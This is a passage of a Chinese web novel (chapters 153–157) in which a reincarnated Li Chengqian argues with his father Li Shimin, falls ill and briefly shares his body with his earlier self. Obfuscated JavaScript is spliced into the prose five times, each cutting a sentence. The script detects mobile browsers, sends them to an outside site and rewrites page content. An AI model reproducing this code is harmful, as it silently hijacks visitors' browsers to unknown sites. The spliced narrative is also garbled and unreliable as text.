李承乾笑的冷漠,身上散发着阵阵寒意,“你的宝贝儿子青雀,从洛阳回来第一件事情,就是跟我炫耀您老人家的区别对待,顺便嘲讽一把我,往前翻史书,我是第一个变卖份例讨好君父的太子,君父还不领情。” 李世民气的磨牙,李泰这兔崽子,有必要说这些事情吗?怪不得,高明从不给他献食,合着问题出在这里。 “我那个四叔,若不是您的兄弟,他根本活不到玄武门就会被您砍了。我那个大伯父,若他不是太子,以您的才华和能力,你压根儿不会要他的命。 父亲,平心而论,您现在怨不怨我那个拎不清的阿翁?父亲,咱俩骨子里是一样的人,重情又拧巴,小气且记仇。外人的轻贱冒犯可以一笑置之,付出感情的亲人糟践自己那是永远过不去的坎儿。 高明作为我的转世,自在这方面跟我应该是一个德行。您执着于父子情份,无非是我现在不想**,且回来的那个我利用价值很大,您在得了好处之后又想满足情感需求。” 李承乾叹气,世间难得两全法,父亲,纵使你是帝王,也无法事事美满。 “父亲,您放过您自己,也放过高明吧!” 第153章 宠爱和溺爱 李世民苦笑,他又不是石头,骨肉相连,天长日久的相处,他如何能毫无感情? “太子妃你得了空也多去看看,另一个你为了平衡太子妃母子和李象,费了不少的心力。” 李承乾笑道:“我平等的冷漠李象和太子妃,也是一种平衡。” 李世民:…… “你好好休息,为父明日来看你。” 李承乾懒得继续掰扯,径直走进寝殿,脱了衣裳倒头就睡。 东宫再次被封,又惹来一次波涛汹涌。 李泰的手段,让李世民颇为无奈,又是造谣,跟上辈子一样,就不能有点儿新花样。 上辈子造谣李承乾腿瘸无失人君之像,现在“造谣”李承乾不孝,无人君之像。 自己费心巴力设局,结果李泰就这战力? 李世民气的脑壳疼,又来东宫跟李承乾吐槽。 李承乾听罢,抱着小狸花哈哈大笑。 “上辈子李泰造谣,是因为我身边那些人,根本不用费心去拉下来。房玄龄本身就是魏王党,孔颖达、于志宁、孔颖达、张玄素,天天不是骂我,就是在骂我的路上,留着这些人对我的打击更大。 这辈子李泰造谣,是因为他也只能造谣。魏玄成公、卫国公、英国公,哪个是李泰可以拉下去的?尉迟恭和程知节是从龙之臣,更是您老人家心腹,是他能轻易撼动的?思来想去,也只能在**上下功夫了。” 李世民道:“你的后院,该好好收拾一下了,太子妃年纪太小,苏家那些人,不用朕多说,你也是知道的。” “明白了,前两天东宫解禁,苏家女眷进宫探望太子妃,借妇人闲聊探听消息了。” 李世民点头,“这一块高明就不如你,他在朝政上见识远胜同时代的人,对这些阴私之事反应就有些迟钝了。” 李承乾道:“你都说了,他是我的千年轮回,只要他不再投胎到皇家,就是有些阴私也不会事关生死,何况他在高家那个福窝窝里长大。高家对高明的阴私,一般有大礼给高明,为了让高明产生惊喜,全家上阵瞒着高明,不让他提前发觉。” 李世民咋舌,“这么宠,也不怕宠坏孩子,高明没长成纨绔子弟,高家祖坟真是冒青烟了。” 李承乾轻笑,“宠爱和溺爱有本质区别,高家宠爱高明,可高明犯了错,我爸也会警告,警告没用也会打他。你之前说,高明很疼爱李象,我在这里待了二十来天,也在观察李象。 每日晨昏定省,先来显德殿请安,再绕去丽正殿请安,哪怕被太子妃身边下人冷脸,他也面不改色,始终挂着得体的笑容,脸上看不到一丝怨怼之色。 这就是教育的成果,认清楚自己的身份地位,分析所处环境,知道什么该做,什么不该做,不让爱他的亲人为难,也不给他自己找麻烦,一切都恰到好处,极有分寸,高明教的很好。” “刁奴欺主,你还好意思炫耀?朕的皇孙容得他们摆脸色?” 李承乾道:“那几个奴婢是太子妃陪嫁,是太子妃的脸面,为个庶子伤嫡妻脸面,这个庶子就被架起来了。太子妃是个知道好歹的,那些奴婢最多也只是私下摆脸色,真敢造次,太子妃会自己处置的。” “青雀也就这点儿水平了,朕打算借此时机,遣散文学馆,收回青雀身上越制的封赏,青雀身边的近臣苏勖,萧德言、顾胤等人也会遭到贬黜。太子妃多半会向你求情,朕希望你不要感情用事。” 李承乾沉思片刻,“长孙安业跟随李孝常谋反,父亲原本要斩杀他,阿娘为他求情,父亲最后没有杀他。所以,父亲以为太子妃求情,我也会出面求情求您放过苏勖?” 李世民点头,“苏家是太子妃的母族,夫妇一体,那也是太子的脸面,朕原本不想动苏家。实在是苏勖不识好歹,辅机亲自出面,他还为青雀出谋划策谋嫡,《括地志》更是三天两头往甘露殿的送。 听不懂人话,自己不想体面,朕帮他体面,朕打算将苏勖贬去百越之地。太子妃有妊,为太子诞育子嗣有功,加恩其父母,苏亶封爵,迁入六部任职。” 李承乾暗暗冷笑,苏勖知道李泰不行了,没办法一开始步子迈得太大,直接跑路会为人诟病,索性一条路走到黑,还能落一个侍主从一而终的好名声。 父亲在气头上,当局者迷,他这个局外人,可是看得清楚。秦王府十八学士之一,驸马的身份,又是出身大族,只要苏勖不参与谋反,受到的最重惩罚就是贬官。 “苏亶封爵可以,迁入六部的话,在礼部或者工部给个闲职可以,苏亶那个人品德优良,能力不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494342|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一个能力不够的人,推他上到不该有的高度,只会招来灾祸。” 李世民点头,十分赞同李承乾的看法,“吐蕃使团还有十日到长安,商谈和亲事宜。” 李承乾不做置评,公主出口业务,汉唐比较为人诟病的一点。 “之前同高明商议此事,他说陪嫁以佛经为主,再带一些诗书礼乐之类的典籍,承乾,你也在后世混过,你觉得此举可好?” 李承乾点头,“挺好的,隋唐这个时间段,属于气象学上说得温暖期,吐蕃气温上升,适合耕种,的确不能带生产技术过去。吐蕃强大了,大唐的边患只会越来越严重。” “气象学?”李世民眼睛发亮,忙追问:“承乾,你在高家那三年,学的东西也不少啊!” “开始的半年,病床上躺着,主要是学说那里的话。后来将近一年时间,都在看字典,认那堆缺胳膊少腿的简体字。至于刚才说的气象学,感谢我爸妈,他们是个极爱看书的人,藏书极为丰富。 高家一家子都喜欢看书,得知我病了,祖父母也从老家过来陪我,祖父母和爸妈没事儿喜欢看书,我也不好不合群,就拿着书装模作样,装的时间久了,也就看进去了。” 李世民叹气,不忿高柏抢他儿子,也不得不佩服高柏的教育手段,“高明在那个家里生活了二十八年,应该没少看书。” “高明的藏书应该也不少,不过我没机会去数。” 李世民轻笑,他在梦中见过高明研究农耕,自然见过高明的书房。 “为什么?” 李承乾道:“我一过去梦中呓语,爸妈就知道我不是高明了,他们第一时间将高明的东西小心保管起来。后来,我跟他们摊牌,他们直接照着高明的标准给了我一层楼,让我按照自己喜好布置。 高明住的那一层楼,按照高明的喜好恢复如初。我本来就是白得爸妈疼爱,人家亲儿子的房间,我根本不愿涉足,怕触景生情觉得自己可怜,更怕弄坏了高明的东西,惹得爸妈伤怀。” “就高家父母出手的阔绰程度,高明说,他在未来的家庭条件只是个中等水平,未来这个中等水平要求可真够高的啊!” 李承乾轻笑,高家放在现代,的确是中产阶级,贫富差距这个问题,任何时代都无解。 第154章 查流言 不孝的罪名很大,长安城流言飞起,让朝中许多大臣坐不住。 “陛下,长安城有关太子不孝的流言蜚语,再不管制,任其发展下去,只怕会影响到今年的制考。” 早朝上,房玄龄首先提起这个话题,立刻就有大臣附和。 马周道:“一个月内,陛下命玄甲军封了东宫两次,对外说太子有疾,还不许人探视。休沐之日,臣多在民间走动,茶肆酒楼之中,有关于太子的争议非常大。” 李世民道:“朕就想知道,怎么争议到太子不孝上了?” 魏征道:“太子有疾,陛下为何不许探视?民间揣测,多以为太子触怒陛下才遭封宫。天下无不是之君父,就只能是太子不忠不孝了。” 高士廉道:“长安持有《贞观字典》,拜读过太子殿下策论的文人,无人好奇咱们这位太子,太子在长安的名声是完全的两个极端。” 魏征道:“陛下,太子可是今年制考的主考官,要参与出题,主考,阅卷,品评天下士子文章的。” “魏侍中说得极是。”萧瑀补充,“不说长安的文人,就说臣,臣在看过《贞观字典》,读过太子的策论。觉得单从学问,以及文章功底看,太子足以当的起臣之师尊。” 魏征道:“太子纵然有错,陛下也不该在这个关口,不明不白封宫,带来的影响太恶劣了。陛下,您现在做事,实在是太任性了。” 李世民白了一眼魏征,没好气道:“朕就是任性,也没带坏太子。太子从前吃药都是好好的,都是你带的,你喝一口倒一碗,他一口都不吃倒一碗。” 魏征被迫闭麦,平常见惯了魏征怼人,难得见魏征被迫闭嘴,众大臣不约而同捂着嘴笑。 “还有,什么叫朕不明不白的封宫?” 承乾要离开,李泰也要被送走,李世民心情非常的差,魏征张了嘴,他直接逮住魏征开麦。 “小胳膊小腿,脆的琉璃一样,朕都不敢碰他,生怕把他碰碎了,小心扔在手心里,他为了几株秧苗不顾身体淋雨把自己淋病了。还不好好吃药,要不是怕白发人送黑发人,照朕的脾气,不打的他在榻上趴半个月,朕都不是他老子。” 马周十分会抓重点,赶紧追问,“什么秧苗?太子在东宫种庄稼?” 李世民顿了一顿,本来是心情不好,拿魏征撒气,说多了。《贞观字典》造势棋下得太猛,险些反噬了他一个措手不及,他现在一切求稳,培育稻种等高明回来再说。 “太子长在深宫,出去看总比不过自己动手,大唐将来的皇帝,若不能了解民生疾苦,就是才高盖世,又有什么用处?” 魏征道:“种秧苗是奉皇命体验民生疾苦,为了秧苗淋雨也是因是陛下所托,不敢懈怠。怎么看,陛下都应该赏赐,您就赏了个封宫啊?” 李世民:…… “魏征,你少来污蔑朕,太子自己要种的。编撰《贞观字典》朕批了他五个月的假期,他三个月就结束了,闲得发慌,在东宫种地,还把他自己弄得病倒了。太子胡闹,朕没找你魏征的麻烦就不错了,你还敢来找朕的麻烦。” 皇帝和魏征“积怨已久”,多少带着个人情绪,房玄龄出来打圆场,“陛下,太子作为储君的身份,他个人学问在朝野积攒的声誉,封禁东宫本身就会带来很大的问题。再有数日,吐蕃来朝商议和亲,流言不止,在藩属国面前丢了国体,就有些不值当了。” 李世民冷哼一声,“太子身在东宫,大内禁中的事情怎么就在宫外闹的沸沸扬扬?” 大殿内落针可闻,兴风作浪的是皇帝另一个儿子,没有证据就是知道,谁又敢多言。 “张蕴古,张亮,孙伏迦。” 李世民喊了一声,三人齐齐出列。 “你们分别管着刑部、京兆尹、大理寺,去找司空长孙无忌,你们四个人给朕查,这些事情到底是怎么走漏出去,还掀起如此大的风浪,查清楚到底是谁造谣太子不孝。不管涉及到任何人,都给朕查,朕倒要看看,谁敢在朕眼皮底下造次。” 方才被点名的三个人愣在当场,涉及到皇帝的另一个儿子,他们的心不约而同“咯噔”一声。 不过很快,他们就迅速调整了情绪,领了皇帝诏命,默默退回队列,长孙无忌才是主审,就是查到魏王李泰,也有国舅顶着。 东宫封了,太子詹事不用去东宫打卡,长孙无忌书房**看,翻看《贞观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498621|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字典》,接到李世民的敕令,他忙换了正装,进宫求见。 直觉告诉他,李世民是真要动手处理李泰,但李世民近来行事,实在是太“任性”了,他必须进宫问清楚此事。 李世民正预备去东宫看儿子,长孙无忌就来了,大舅哥比他活得都长,儿子再有几个月就走了,当然是去东宫更重要。 “阿难,国舅来了你就告诉他,朕要他查的就是魏王泰,太子名分已定,不许任何人窥伺。” 李承乾在显德殿练字,等待回去的日子,他显的格外平静,李世民觉得,李承乾不开口说话,就这么静静地坐着,真的和高明一模一样。 李世民走上去,俯身去看李承乾的字,“写得还行,跟轮回后的你比,有一段距离。” 李承乾默默放下毛笔,撸着蜷缩在他身边的小狸花,“我在高家就住了三年多,知识面有限,您要是问那些乱七八糟的知识,安心等高明回来,别在我身上费心思了。” 李世民笑容僵在脸上,他就是来陪陪马上要离开的儿子,这崽子真是一点儿都没把他往好处想。 “那个小吏,会随高明一起过来吗?” 李承乾撸猫的动作一滞,抬头看向父亲,“父亲为什么要这么问?” 李世民心下冷笑,脸上却是淡然,“不是你说的,姓高的打算过来陪高明吗?” 皇帝说话的这个语气,老爸过来要是被发现了,凶多吉少啊! “我盼着我爸过来不奇怪,他来了我可以厚脸皮让他哄我,父亲您盼着我爸过来干什么?” 李世民悠悠一笑,“有朋自远方来,不亦乐乎!” 李承乾哈哈一笑,往后靠在凭几上,揶揄父亲,“父亲应该说:有朋自远方来,虽远必诛!” 李世民听罢大笑,随便找了个地方落座,“高明才学高,却总是放不开,真要论父子相处,还是承乾更加随性。” 李承乾听罢,父亲依旧那么喜欢刺激的。 “面对父亲你,高明当然放不开,怕父亲你玩儿不起拿他当牲口打,换成我爸就另说了。我在父亲这里随性,完全是不在乎父亲怎么处置我,在我爸面前随性,是因为我爸会心疼我。” 第155章 太子病倒了 自己的崽子,忍了! 李世民压下火气,问李承乾,“你和高明跨越时空见面,能不能告诉他,八月制考之前回来。” 无事不登三宝殿,还非要唱父子情深,李承乾笑眯眯的撸猫,多少有几分幸灾乐祸的味道。 “那得看高明什么时候想见我。” “小兔崽子,你是巴不得赶紧走吧?” 李承乾两手一摊,“不然呢?留在这里,是有我亲爱的爸爸,还是有亲爱的妈妈?” 没经过轮回崽子,就是不一样,知道怎么诛心他,太欠了,李世民幽幽一笑,“那承乾你说,高柏选择高明,是不是等于放弃了承乾?” 此言一出,李承乾脸上笑容果然僵了,不过也仅是一瞬,“我爸选择了承乾,我还有妈妈,爷爷奶奶。父亲你呢?你宠上天的青雀,是真心待你这个父亲吗?你放在心里的雉奴,哈哈……” 李世民拍案,李承乾见势不好,麻利闪现。 “告诉你个更好玩儿的,雉奴孝期一满,就把你的才人接进宫了,没几个月都儿子出生了,这说明什么?说明你孝期内,你的亲亲宝贝儿子把你变妾了,武周朝的小李后。” “逆子……” 李世民随手掀了桌案,胸口气的闷疼。 “父亲随便砸,最后都是走官中的钱添置。” 李世民白了眼李承乾,“这下子不怕言官**了?” “喔豁?”李承乾像是听到什么好笑的笑话,看着父亲道:“言官要是**,我就直接在太极殿上说是父亲砸了我的东西,不给我赔,我又没钱,只能走官中的钱。” “你……你怎么这么不要脸?” 之前觉得高明死皮赖脸,至少还有脸,李承乾是真的不要脸。 “父亲,您能砸我不能说,咱俩到底谁不要脸?退一万步说,我不要脸。您要明白,有句话这么说的:放下个人修养,享受不要脸的人生。” “逆子……”李世民指着李承乾骂,心口突突的疼,冷笑道:“姓高的就是这么教你的?” “我爸教的是高明,父亲,我是您教出来的,别什么锅都给别人扔,我亲爱的阿耶。” 李世民捂着胸口,闭目养神,良久才开口:“朕就是来陪陪你,你看看你自己什么德行?” “人生寿夭难期,万一太子不幸,安知诸王他日不为公辈之主!何得轻之!” 说到这里,李承乾目露嘲讽看向父亲,“您实在没必要来陪我,我只想穿回去,不想死!真想找个人跟你父慈子孝,找李青雀和李雉奴去。 武才人呢?这个时候她应该在你后宫吧?找你的现任妃妾兼未来儿媳妇,妇唱夫随,父慈媳孝都行,她可是把你的玄武门发扬光大了,自她之后,隔几年都要来一波宗室大清洗,你后继有人,快哉快哉!” 李世民随手扔了个凭几过去,“你鸩酒喝多了吗?还是鹤顶红吃多了?嘴巴这么毒?” 李承乾哈哈一笑,莫名想到那只鬼迷日眼的大滇蛇,“鸩酒与鹤顶红没有尝过,毒蕈菇我真去吃了,还吃了好大一锅。” “你别告诉老子,你是毒蕈菇吃多了,过来祸害你老子的。” 李承乾摇头,“当然不是,我说的毒蕈菇,煮熟了就没毒了。再说了,就算是有毒,我也要吃,那么好吃的东西,有点儿毒怎么了?” 李世民彻底无语,他真心怀疑李承乾脑子有问题。 “要不,朕让御医来给你看看脑子?” 李承乾:…… “你盐吃多了?这么闲?没事儿回去批奏疏,没有奏疏回去抄书!” 李世民指着李承乾骂道:“你个混账东西,不识好人心,往后你烂到这儿,朕都不来看你一眼。” 李承乾抚掌大笑,“我烂到你前面,你的确没有看一眼啊?” 心猛的被扎了一刀,痛的李世民一哆嗦。 “承乾,阿耶……” 又来了,李承乾急忙打断,“咱俩的父子之情早就磨得接近清零,我跟你演不来戏,找青雀雉奴,你和青雀一日不见都要飞鸽传书,和雉奴更是写出耶耶忆奴欲死,要不是史书有记载,我都不知道你能写出这么肉麻的话。” “你……你个逆子……你要气死阿耶吗?” 又哭了,李承乾人麻了,看史书父亲跟别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504307|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人哭,只觉得好笑又好玩儿,哭到他这里那是恐怖故事。 “显德殿让给你,你喜欢哭慢慢儿哭,我走了!” 李承乾拔腿就跑,这是非之地,他一秒都待不住,可他还没走出去几步,整个人就感觉到一阵头重脚轻。 李世民眼疾手快,三步并作两步上前将人接住。 “承乾?承乾?” 李世民将人抱起放在榻上,急忙叫宫人去请御医。 李世民看着榻上的人,眼泪不住地往下掉,都是承乾,是他的儿子,却又不太一样。 御医吭吭哧哧的跑来,近前替太子诊脉,也查不出个所以然,只能惶惶告罪。 李世民心中大概猜到为了什么,静静地坐在床榻前,看着李承乾,心仿佛被挖了一个窟窿。 张阿难轻手轻脚进来,拜了一拜,“陛下,大臣们在两仪殿候着,您……” “身体不适,不朝。” 张阿难领了命退下,到两仪殿传达皇帝口诏,众大臣一拥而上,瞬间就将张阿难围住了。 “早朝还好好的,突然身体就不适了?” 张阿难沉默片刻,皇帝只说身体不适,没有点名谁身体不适,遂道:“太子殿下又病倒了,来势汹汹,太医束手无策,陛下哪里有心思来上朝。” “陛下说太子嫌药苦,这是不吃药托出来的?” 魏征:…… 张阿难尴尬一笑,违心的点头。 总有一个人要入地狱,有现成的,拉来用呗! 杨师道默默叹气,“有其师必有其徒!” 众人目光齐刷刷看向魏征,魏征恨不能原地找洞钻了。 “我才做了几天太子少师,别什么都往我身上推。” 高士廉默默补刀,“玄成公做太子太师之前,可没听说太子吃药倒药。” 魏征:…… “从今以后,我吃药绝不再倒,下一次太子不吃药,那就不能怪我了!” 张阿难咳了两声,迅速离开这是非之地。 魏征是憋了一肚子火,都是魏叔玉这兔崽子,他为数不多的黑料,搞得人尽皆知。 第156章 一体双魂 李承乾这一觉睡得久,等他醒来时,脑海里多了许多不属于他的记忆。 神识里有个小人不停的言语,李承乾只觉得聒噪至极,不耐烦的揉揉鬓角。 “承乾,你醒了。” 一睁眼就看到皇帝,真是件不太愉快的事情。 李承乾微微蹙眉,回现代,大脑里没有另一个他在现代的记忆,这一次回来,大脑里另一个他古今干得事情一清二楚,奇了怪了! 皇帝这承受能力可以,被另一个他那么气,竟然没有背过气去。 “张翁,有水吗?” 嘴巴干得发苦,喉咙干得要黏在一块儿,脑袋里也是闷哄哄一片。 李世民上前将人从榻上扶起来,接过张阿难端来的水递给李承乾,李承乾一饮而尽,被呛的连连咳嗽。 张阿难喜极而泣,“殿下,您昏睡三天,陛下足足守了您三天。谢天谢地,您可算是醒来了。” 李承乾擦了嘴角的水渍,尤在疑惑大脑里为何会有另一个他的记忆。 “劳陛下挂心,臣感激涕零。” 李世民道:“当日你一心求死,阿耶是气急了,才动鞭子打了你,往后再不会打你了。” 这话皇帝说了很多遍了,李承乾揉着闷疼的两鬓,不想做出置评。 “陛下早些回去歇着,您放心,臣往后不会再求**。” 李承乾的冷漠,让李世民的心揪到一起,此刻,他宁可这副身体里不是转世的承乾。 李世民打发了张阿难出去,对李承乾道:“你要是心里头不痛快,同阿耶吵几句嘴也行。” “睡得太久了,头有些疼,让臣先缓缓。” 李承乾坐正身子,调整呼吸,按压起后脑几处穴位缓解头疼。 李世民等了半晌,终于忍不住发问,“承乾,他还会回来吗?” 李承乾心下一动,这个他是谁,不言而喻。 “陛下希望他回来吗?” 李世民眼底泛起一抹忧伤,“借尸还魂,有尸就行,朕可以办到。” [可别,我要回爸妈身边,你这糟糠我可不想吃了。] 识海又是一声聒噪,李承乾心下有数,他过来了,另一个他没能回去,这副身体里挤了两个灵魂,所以他才会有那一堆乱七八糟的记忆。魂魄是意念的具象化,眼下他的意念更强,这副身体他做主。 “陛下觉得,我会愿意留在这里吗?” 李世民愣了愣,问道:“承乾,你没走?” 李承乾轻笑,“陛下,高明和承乾一体同心,两副皮囊,我和他本就是一个人。” “阿耶知道你不愿意留在这里,回来也只是为了责任。可是承乾,这里才是你的家,你往后千年的轮回,这里是你出发的地方。” [家?真能胡咧咧!] 头痛缓解,李承乾睁开眼睛,下了榻走过去倒了杯水,一股脑灌进嘴巴里。 “要喝水你说一声,阿耶给你端来就是了。” [别了,过两天上朝,又要给大臣们标榜他爱子人设了!] 李承乾又饮了一杯,方才觉得喉咙不那么干。 李世民起身的一瞬,眼前一黑,脑袋登时天旋地转,身子不稳跌坐在榻上。 李承乾上前,拉着李世民的搭上脉搏,张阿难没有夸大其词,皇帝熬夜了,血压都熬上来了。 [你神经吗?给他治病?] “有什么话往后再说,您赶紧回去歇着。” 这要是猝**,他罪过就大了。 挂心宜春苑的秧苗,李承乾取了架子上的衣服下来,“您要是不嫌弃,在这里歇下也行。” “承乾,你去哪里?” [去哪里,不想看到你?李二凤,你有点儿眼色行不行?] 李承乾道:“去宜春苑看秧苗。” “为父跟你一起去。” 李承乾暗暗摇头,皇帝的身体是真的抗造,被初始化版本的他那样气,还能在这里守他三天。 “秧苗有的是机会看,您眼下当务之急是休息。” 李世民揉揉发烫的眼睛,“承乾,阿耶浑身困乏,但睡不着,躺在榻上也是白瞎。” 初始化版本的他有多能造作,李承乾心里有数,皇帝这是被折腾的神经衰弱,精神高度紧张。 “陛下,您就听臣一句劝,好好休息。你们老李家祖传心脑血管疾病,您心里真的是一点儿数都没有。” 穿好衣服,李承乾走过去坐到皇帝身边,“臣给您按一按,舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504308|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活一下经脉,很快就能睡下。放心,臣很有经验的,我妈之前带高三也是整宿睡不着觉,臣经常给她按。” “高先生会过来吗?” [高明,别给他骗了,他之前喊咱爸老匹夫、姓高的,他在骗你,别信他。] 识海又炸开了尖锐的叫声,李承乾默默回应,[知道,咱俩是一个人,现在一体双魂,记忆共享。你就没发现,脑袋里有了许多新的知识?] [发现了又能怎么样?] 另一个李承乾说话语气更加暴躁了。 [那你还给他按压穴位?你傻吗?蠢货,傻B,你这种傻B怎么会是老子转世?] 李承乾气结,出口成脏,他从前素质这么低吗? [你个泼皮,是你对他有情,我受了你的影响,生了恻隐,对他产生不忍的情绪,搞得我的心一抽一抽的疼。] 初始化版本李承乾肯定不能承认,他对父亲还有情意,[我不管,身体控制权在你手里,不许你照顾他。] 李承乾心里抽痛的厉害,他想赶紧离开这里,可脚下如灌了铅一般沉重,半步都挪动不了,只恨不能一把把身体里另一个自己扇出去。 [你翻看过往的记忆,除了那次把他认成老高给他按摩缓解头痛之外,我伺候过他吗?] 初始化李承乾:…… “承乾,在想什么呢?这么入神?” 在同身体里另一个自己对话,不过这个话题太匪夷所思了,皇帝并不是一个可以诉说心事的人。 “在想臣的亲人,臣走了,他们又要担惊受怕了。” 另一个他没回去,现代的那副身体会变成植物人,还是直接失去生命特征,或者被其他什么孤魂野鬼借尸还魂。 “承乾,这里也有你的亲人。” [他在放屁,高明你可别信他,他的亲人只有李青雀和李雉奴,没有李承乾。] 李承乾心下无语,[话说,咱们说话能文明点儿吗?] [文明个毛线?]另一个李承乾直接炸了,[他又不是老爸,对他客气干什么?] [出口不要成脏!] [哈哈……放下个人素质,享受缺德人生,没听说过这句话吗?老子真的怀疑你是不是现代人。] 第157章 归位 初始化版本自己疯成这样的吗? 李承乾整个人都要炸了,眼下的情况,就好比Win1和Win11同时部署在一个环境上,系统是同一个系统,就是版本号冲突厉害。 “陛下,您先躺下。” [高明,你有点儿骨气行不行?] 初始化版本的自己,这么听不懂人话吗? [我再说一遍,现在控制这副身体的是你,我只是保证你不借我的身体乱说话。] 另一个李承乾哈哈一笑,[你要不要脸?这是我的身体,你的身体在未来。] 李承乾反驳回去,[咱们是一个人,你骂我也是骂你自己。] 另一个李承乾:…… [我骂我自己算什么?我疯起来,可以弄死我自己!] 李承乾觉得,初始化版本的他,精神问题很大。 [还好你没在那边折腾爸妈,否则我都想把你自我毁灭了!] 另一个李承乾不屑的“切”了一声,[本人素质如何,全凭对方态度如何。] 李承乾单方面屏蔽识海里的另一个自己,扶着皇帝侧身躺下,他本通医术,又有千年学识积淀,接触过现代医学,按了约么两刻钟时间,皇帝便昏昏沉沉睡了过去。 皇帝只是累了,死不了,但他的身体有些不受控,李承乾恨极了这种感觉,身体里另一个牙尖嘴利的自己,显然没有放下对皇帝的情意,且这副身体原主人也是另一个自己,哪怕他意识更为强大,也难以完全掌控这副身体。 两条腿总算听自己使唤了,李承乾轻手轻脚走出殿外,迎面扑来的空气,略带着几分泥土的气息。 李承乾正要下台阶,只觉得两眼发黑,一阵天旋地转过后,摔了下去。 离得最近的吴安飞身上前做了**垫子,宫人手忙脚乱,显德殿被皇帝占了,众人只得将太子安置在距离显德殿最近的崇教殿。 太子病着,御医在右春坊随时待命,往崇教殿看诊倒也方便。 李世民一觉醒来,已经是夜半,问过张阿难时间,不由得惊诧,自己这一觉竟睡了五个时辰。 张阿难面露难言之隐,踌躇良久方才开口:“太子殿下出了显德殿,从台阶上摔下去了……” “你说什么?” 李世民一个激灵,匆忙穿了鞋袜,“太子呢?人在哪里呢?有没有摔到哪里?御医怎么说?” 张阿难道:“吴安护主及时,额头磕破了点皮肉伤,其他的无碍,已经醒过来了。” 李世民心下一沉,该不会是承乾回来了吧? 饭吃了一半,皇帝就来了,李承乾忙放下粥碗,起身相应。 见到本人,李世民松了口气的同时又泛起阵阵悲凉,承乾没回来,这副身体里仍然是高明。 “怎么那么不小心,吓死阿耶了你。” 李承乾默不作声拒绝了来自于皇帝的摸头,识海里那个聒噪的声音销声匿迹,大概是回到了未来。 “睡得太久了,突然起身,产生不适,让陛下挂心了。” 小狸花从外头跑了进来,在李承乾脚边蹭了又蹭,李承乾蹲下身子将猫崽子抱起来。 “小家伙长了不少。” 李世民抬手驱散了宫人,看着李承乾笑,“果真是一个人,都喜欢猫。” 李承乾撸猫的动作微微一停顿,他拥有过往的记忆,自然知道另一个他的猫奴属性。 “好生歇几日,该去上朝了。” 李承乾:…… “陛下批了五个月的假,君无戏言。” 李世民拍拍李承乾肩膀,语气颇有几分无奈,“之前那个你过来,脾气不太好,为父节外生枝,就不让他出东宫。” 李承乾暗道:那是脾气不好吗?只要碰上李世民,那个疯癫的状态,给他的感觉就是见手青吃多了,有一种死活无所谓,平等创死所有人的疯感。 “封禁东宫是大事,朝野议论沸腾,朕也不好跟大臣们说明缘由,只能推说你受了寒又不肯吃药,拖得病症更重,卧病东宫下不来榻。魏征有倒药的习惯,这个黑锅直接甩给他了。” 李承乾在心里默默给魏征点了蜡! “你早些去上朝,你师傅能好受些许。” 封禁东宫的目的达到,李世民当然不愿意节外生枝,李承乾还是要早些去上朝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507331|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 李承乾点点头,坐回原位继续吃剩下半碗粥。 卧病之人没精神,李世民不再多言,星夜回了甘露殿。 李承乾用过膳,稍稍歇了一个半时辰,到三更时分,李承乾唤了宫人进来伺候洗漱,穿上朝服去承天门外等候上朝。 “太子殿下,您可算是来上朝了。” 